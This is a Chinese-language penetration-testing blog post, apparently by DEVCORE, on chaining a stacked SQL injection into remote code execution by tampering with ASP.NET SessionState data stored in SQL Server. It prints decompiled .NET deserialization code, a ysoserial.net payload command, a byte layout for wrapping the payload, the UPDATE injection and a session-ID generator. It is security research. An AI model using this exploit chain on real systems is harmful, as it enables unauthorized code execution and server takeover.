從 SQL 到 RCE: 利用 SessionState 反序列化攻擊 ASP.NET 網站應用程式

今日來聊聊在去年某次滲透測試過中發現的趣事,那是在一個風和日麗的下午,與往常一樣進行著枯燥的測試環節,對每個參數嘗試各種可能的注入,但遲遲沒有任何進展和突破,直到在某個頁面上注入 ?id=1; waitfor delay '00:00:05'--,然後他就卡住了,過了恰好 5 秒鐘後伺服器又有回應,這表示我們找到一個 SQL Server 上的 SQL Injection!

一些陳舊、龐大的系統中,因為一些複雜的因素,往往仍使用著 sa 帳戶來登入 SQL Server,而在有如此高權限的資料庫帳戶前提下,我們可以輕易利用 xp_cmdshell 來執行系統指令以取得資料庫伺服器的作業系統控制權,但假如故事有如此順利,就不會出現這篇文章,所以理所當然我們取得的資料庫帳戶並沒有足夠權限。但因為發現的 SQL Injection 是 Stacked based,我們仍然可以對資料表做 CRUD,運氣好控制到一些網站設定變數的話,甚至可以直接達成 RCE,所以還是試著 dump schema 以了解架構,而在 dump 過程中發現了一個有趣的資料庫:

Database: ASPState
[2 tables]
+---------------------------------------+
| dbo.ASPStateTempApplications          |
| dbo.ASPStateTempSessions              |
+---------------------------------------+

閱讀文件後了解到,這個資料庫的存在用途是用來保存 ASP.NET 網站應用程式的 session。一般情況下預設 session 是儲存在 ASP.NET 網站應用程式的記憶體中,但某些分散式架構(例如 Load Balance 架構)的情況下,同時會有多個一模一樣的 ASP.NET 網站應用程式運行在不同伺服器主機上,而使用者每次請求時被分配到的伺服器主機也不會完全一致,就會需要有可以讓多個主機共享 session 的機制,而儲存在 SQL Server 上就是一種解決方案之一,想啟用這個機制可以在 web.config 中添加如下設定:

<configuration>
    <system.web>
        <!-- 將 session 保存在 SQL Server 中。 -->
        <sessionState
            mode="SQLServer"
            sqlConnectionString="data source=127.0.0.1;user id=<username>;password=<password>"
            timeout="20"
        />
        
        <!-- 預設值,將 session 保存在記憶體中。 -->
        <!-- <sessionState mode="InProc" timeout="20" /> -->
 
        <!-- 將 session 保存在 ASP.NET State Service 中,
             另一種跨主機共享 session 的解決方案。 -->
        <!--
        <sessionState
            mode="StateServer"
            stateConnectionString="tcpip=localhost:42424"
            timeout="20"
        />
        -->
    </system.web>
</configuration>

而要在資料庫中建立 ASPState 的資料庫,可以利用內建的工具 C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe 完成這個任務,只需要使用下述指令即可:

# 建立 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd -sstype p

# 移除 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove -sstype p


現在我們了解如何設定 session 的儲存位置,且又可以控制 ASPState 資料庫,可以做到些什麼呢?這就是文章標題的重點,取得 Remote Code Execution!

ASP.NET 允許我們在 session 中儲存一些物件,例如儲存一個 List 物件:Session["secret"] = new List<String>() { "secret string" };,對於如何將這些物件保存到 SQL Server 上,理所當然地使用了序列化機制來處理,而我們又控制了資料庫,所以也能執行任意反序列化,為此需要先了解 Session 物件序列化與反序列化的過程。

簡單閱讀程式碼後,很快就可以定位出處理相關過程的類別,為了縮減說明的篇幅,以下將直接切入重點說明從資料庫取出資料後進行了什麼樣的反序列化操作。核心主要是透過呼叫 SqlSessionStateStore.GetItem 函式還原出 Session 物件,雖然已盡可能把無關緊要的程式碼移除,但行數還是偏多,如果懶得閱讀程式碼的朋友可以直接下拉繼續看文章說明 XD

namespace System.Web.SessionState {
    internal class SqlSessionStateStore : SessionStateStoreProviderBase {
        public override SessionStateStoreData  GetItem(HttpContext context,
                                                        String id,
                                                        out bool locked,
                                                        out TimeSpan lockAge,
                                                        out object lockId,
                                                        out SessionStateActions actionFlags) {
            SessionIDManager.CheckIdLength(id, true /* throwOnFail */);
            return DoGet(context, id, false, out locked, out lockAge, out lockId, out actionFlags);
        }

        SessionStateStoreData DoGet(HttpContext context, String id, bool getExclusive,
                                        out bool locked,
                                        out TimeSpan lockAge,
                                        out object lockId,
                                        out SessionStateActions actionFlags) {
            SqlDataReader       reader;
            byte []             buf;
            MemoryStream        stream = null;
            SessionStateStoreData    item;
            SqlStateConnection  conn = null;
            SqlCommand          cmd = null;
            bool                usePooling = true;

            buf = null;
            reader = null;
            conn = GetConnection(id, ref usePooling);

            try {
                if (getExclusive) {
                    cmd = conn.TempGetExclusive;
                } else {
                    cmd = conn.TempGet;
                }

                cmd.Parameters[0].Value = id + _partitionInfo.AppSuffix; // @id
                cmd.Parameters[1].Value = Convert.DBNull;   // @itemShort
                cmd.Parameters[2].Value = Convert.DBNull;   // @locked
                cmd.Parameters[3].Value = Convert.DBNull;   // @lockDate or @lockAge
                cmd.Parameters[4].Value = Convert.DBNull;   // @lockCookie
                cmd.Parameters[5].Value = Convert.DBNull;   // @actionFlags

                using(reader = SqlExecuteReaderWithRetry(cmd, CommandBehavior.Default)) {
                    if (reader != null) {
                        try {
                            if (reader.Read()) {
                                buf = (byte[]) reader[0];
                            }
                        } catch(Exception e) {
                            ThrowSqlConnectionException(cmd.Connection, e);
                        }
                    }
                }

                if (buf == null) {
                    /* Get short item */
                    buf = (byte[]) cmd.Parameters[1].Value;
                }

                using(stream = new MemoryStream(buf)) {
                    item = SessionStateUtility.DeserializeStoreData(context, stream, s_configCompressionEnabled);
                    _rqOrigStreamLen = (int) stream.Position;
                }
                return item;
            } finally {
                DisposeOrReuseConnection(ref conn, usePooling);
            }
        }
        
        class SqlStateConnection : IDisposable {
            internal SqlCommand TempGet {
                get {
                    if (_cmdTempGet == null) {
                        _cmdTempGet = new SqlCommand("dbo.TempGetStateItem3", _sqlConnection);
                        _cmdTempGet.CommandType = CommandType.StoredProcedure;
                        _cmdTempGet.CommandTimeout = s_commandTimeout;
                        // ignore process of setting parameters
                    }
                    return _cmdTempGet;
                }
            }
        }
    }
}

我們可以從程式碼清楚看出主要是呼叫 ASPState.dbo.TempGetStateItem3 Stored Procedure 取得 Session 的序列化二進制資料並保存到 buf 變數,最後將 buf 傳入 SessionStateUtility.DeserializeStoreData 進行反序列化還原出 Session 物件,而 TempGetStateItem3 這個 SP 則是相當於在執行 SELECT SessionItemShort FROM [ASPState].dbo.ASPStateTempSessions,所以可以知道 Session 是儲存在 ASPStateTempSessions 資料表的 SessionItemShort 欄位中。接著讓我們繼續往下看關鍵的 DeserializeStoreData 做了什麼樣的操作。同樣地,行數偏多,有需求的朋友請自行下拉 XD

namespace System.Web.SessionState {
    public static class SessionStateUtility {

        [SecurityPermission(SecurityAction.Assert, SerializationFormatter = true)]
        internal static SessionStateStoreData Deserialize(HttpContext context, Stream stream) {
            int                 timeout;
            SessionStateItemCollection   sessionItems;
            bool                hasItems;
            bool                hasStaticObjects;
            HttpStaticObjectsCollection staticObjects;
            Byte                eof;

            try {
                BinaryReader reader = new BinaryReader(stream);
                timeout = reader.ReadInt32();
                hasItems = reader.ReadBoolean();
                hasStaticObjects = reader.ReadBoolean();

                if (hasItems) {
                    sessionItems = SessionStateItemCollection.Deserialize(reader);
                } else {
                    sessionItems = new SessionStateItemCollection();
                }

                if (hasStaticObjects) {
                    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);
                } else {
                    staticObjects = SessionStateUtility.GetSessionStaticObjects(context);
                }

                eof = reader.ReadByte();
                if (eof != 0xff) {
                    throw new HttpException(SR.GetString(SR.Invalid_session_state));
                }
            } catch (EndOfStreamException) {
                throw new HttpException(SR.GetString(SR.Invalid_session_state));
            }
            return new SessionStateStoreData(sessionItems, staticObjects, timeout);
        }
    
        static internal SessionStateStoreData DeserializeStoreData(HttpContext context, Stream stream, bool compressionEnabled) {
            return SessionStateUtility.Deserialize(context, stream);
        }
    }
}

我們可以看到實際上 DeserializeStoreData 又是把反序列化過程轉交給其他類別,而依據取出的資料不同,可能會轉交給 SessionStateItemCollection.DeserializeHttpStaticObjectsCollection.Deserialize 做處理,在觀察程式碼後發現 HttpStaticObjectsCollection 的處理相對單純,所以我個人就選擇往這個分支下去研究。

namespace System.Web {
    public sealed class HttpStaticObjectsCollection : ICollection {
        static public HttpStaticObjectsCollection Deserialize(BinaryReader reader) {
            int     count;
            string  name;
            string  typename;
            bool    hasInstance;
            Object  instance;
            HttpStaticObjectsEntry  entry;
            HttpStaticObjectsCollection col;

            col = new HttpStaticObjectsCollection();

            count = reader.ReadInt32();
            while (count-- > 0) {
                name = reader.ReadString();
                hasInstance = reader.ReadBoolean();
                if (hasInstance) {
                    instance = AltSerialization.ReadValueFromStream(reader);
                    entry = new HttpStaticObjectsEntry(name, instance, 0);
                }
                else {
                    // skipped
                }
                col._objects.Add(name, entry);
            }

            return col;
        }
    }
}

跟進去一看,發現 HttpStaticObjectsCollection 取出一些 bytes 之後,又把過程轉交給 AltSerialization.ReadValueFromStream 進行處理,看到這的朋友們或許會臉上三條線地心想:「該不會又要追進去吧 . . 」,不過其實到此為止就已足夠,因為 AltSerialization 實際上類似於 BinaryFormatter 的包裝,到此已經有足夠資訊作利用,另外還有一個原因兼好消息,當初我程式碼追到此處時,上網一查這個物件,發現 ysoserial.net 已經有建立 AltSerialization 反序列化 payload 的 plugin,所以可以直接掏出這個利器來使用!下面一行指令就可以產生執行系統指令 calc.exe 的 base64 編碼後的 payload。

ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -o base64 -c "calc.exe"

不過到此還是有個小問題需要解決,ysoserial.net 的 AltSerialization plugin 所建立的 payload 是攻擊 SessionStateItemCollection 或 HttpStaticObjectsCollection 兩個類別的反序列化操作,而我們儲存在資料庫中的 session 序列化資料是由在此之上還額外作了一層包裝的 SessionStateUtility 類別處理的,所以必須要再做點修飾。回頭再去看看程式碼,會發現 SessionStateUtility 也只添加了幾個 bytes,減化後如下所示:

timeout = reader.ReadInt32();
hasItems = reader.ReadBoolean();
hasStaticObjects = reader.ReadBoolean();

if (hasStaticObjects)
    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);

eof = reader.ReadByte();

對於 Int32 要添加 4 個 bytes,Boolean 則是 1 個 byte,而因為要讓程式路徑能進入 HttpStaticObjectsCollection 的分支,必須讓第 6 個 byte 為 1 才能讓條件達成,先將原本從 ysoserial.net 產出的 payload 從 base64 轉成 hex 表示,再前後各別添加 6、1 bytes,如下示意圖:

  timeout    false  true            HttpStaticObjectsCollection             eof
┌─────────┐  ┌┐     ┌┐    ┌───────────────────────────────────────────────┐ ┌┐
00 00 00 00  00     01    010000000001140001000000fff ... 略 ... 0000000a0b ff

修飾完的這個 payload 就能用來攻擊 SessionStateUtility 類別了!


最後的步驟就是利用開頭的 SQL Injection 將惡意的序列化內容注入進去資料庫,如果正常瀏覽目標網站時有出現 ASP.NET_SessionId 的 Cookie 就代表已經有一筆對應的 Session 記錄儲存在資料庫裡,所以我們只需要執行如下的 SQL Update 語句:

?id=1; UPDATE ASPState.dbo.ASPStateTempSessions
       SET SessionItemShort = 0x{Hex_Encoded_Payload}
       WHERE SessionId LIKE '{ASP.NET_SessionId}%25'; --

分別將 {ASP.NET_SessionId} 替換成自己的 ASP.NET_SessionId 的 Cookie 值以及 {Hex_Encoded_Payload} 替換成前面準備好的序列化 payload 即可。

那假如沒有 ASP.NET_SessionId 怎麼辦?這表示目標可能還未儲存任何資料在 Session 之中,所以也就不會產生任何記錄在資料庫裡,但既然沒有的話,那我們就硬塞一個 Cookie 給它!ASP.NET 的 SessionId 是透過亂數產生的 24 個字元,但使用了客製化的字元集,可以直接使用以下的 Python script 產生一組 SessionId,例如:plxtfpabykouhu3grwv1j1qw,之後帶上 Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw 瀏覽任一個 aspx 頁面,理論上 ASP.NET 就會自動在資料庫裡添加一筆記錄。

import random
chars = 'abcdefghijklmnopqrstuvwxyz012345'
print(''.join(random.choice(chars) for i in range(24)))

假如在資料庫裡仍然沒有任何記錄出現,那就只能手動刻 INSERT 的 SQL 來創造一個記錄,至於如何刻出這部分?只要看看程式碼應該就可以很容易構造出來,所以留給大家自行去玩 :P

等到 Payload 順利注入後,只要再次用這個 Cookie ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw 瀏覽任何一個 aspx 頁面,就會觸發反序列化執行任意系統指令!



題外話,利用 SessionState 的反序列化取得 ASP.NET 網站應用程式主機控制權的場景並不僅限於 SQL Injection。在內網滲透測試的過程中,經常會遇到的情境是,我們透過各方的資訊洩漏 ( 例如:內部 GitLab、任意讀檔等 ) 取得許多 SQL Server 的帳號、密碼,但唯獨取得不了目標 ASP.NET 網站應用程式的 Windows 主機的帳號密碼,而為了達成目標 ( 控制指定的網站主機 ),我們就曾經使用過這個方式取得目標的控制權,所以作為內網橫向移動的手段也是稍微有價值且非常有趣。至於還能有什麼樣的花樣與玩法,就要靠各位持續地發揮想像力!


此篇文章同時發表於:DEVCORE Blog